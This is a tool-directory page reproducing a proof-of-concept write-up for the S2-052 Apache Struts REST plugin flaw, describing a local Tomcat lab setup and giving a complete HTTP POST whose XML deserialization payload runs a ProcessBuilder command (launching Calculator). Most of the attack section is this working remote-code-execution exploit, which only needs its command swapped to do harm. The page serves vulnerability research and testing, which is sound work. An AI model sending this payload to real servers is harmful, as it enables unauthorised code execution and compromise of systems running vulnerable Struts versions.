Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
St2-052 — St2-052 | Kitploit
Tools/GitHubGitHub/jas502n/st2-052
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & Education
GitHubjas502n/st2-052

St2-052

St2-052

View Repository
551729 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

S2-052 POC Testing (Original title: Tomcat Deploying war)

Original article: http://blog.csdn.net/caiqiiqi/article/details/77861477

Download the last affected version struts-2.5.12 from the Struts2 official website: http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip Note that you only need to download struts-2.5.12-apps, not struts-2.5.12-all.zip. Otherwise struts-2.5.12-all.zip contains many other things; you can see there are many JAR packages in the lib directory. After getting struts-2.5.12-apps, place the struts2-rest-showcase.war file in the app directory into the webapps directory. Mine is

/Library/Tomcat-8.5.15/webapps, then just configure the conf/server.xml file.

Here set appBase to the webapps directory, then set unpackWARs to true, so that xxx.war will be automatically unpacked, and also set autoDeploy to true (hot deployment?) Then you can access it from the browser. Simply enter http://127.0.0.1:8080/struts2-rest-showcase/ It will redirect, then the following page appears. Click one of the Edit options,

Then send the request to burp (I switched to FireFox because I have a proxy plugin on FireFox). Click the "Edit" button, intercept the request, and change the Content-Type value in the request to application/xml, then replace the POST data with the XML content in the PoC.

Master Qingtian's PoC

root@kitploit:~
POST /struts2-rest-showcase/orders/3;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1663
Referer: http://127.0.0.1:8080/struts2-rest-showcase/orders/3/edit
Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map> 

Successfully popped the calculator

Then you can see the page full of errors

Download Tool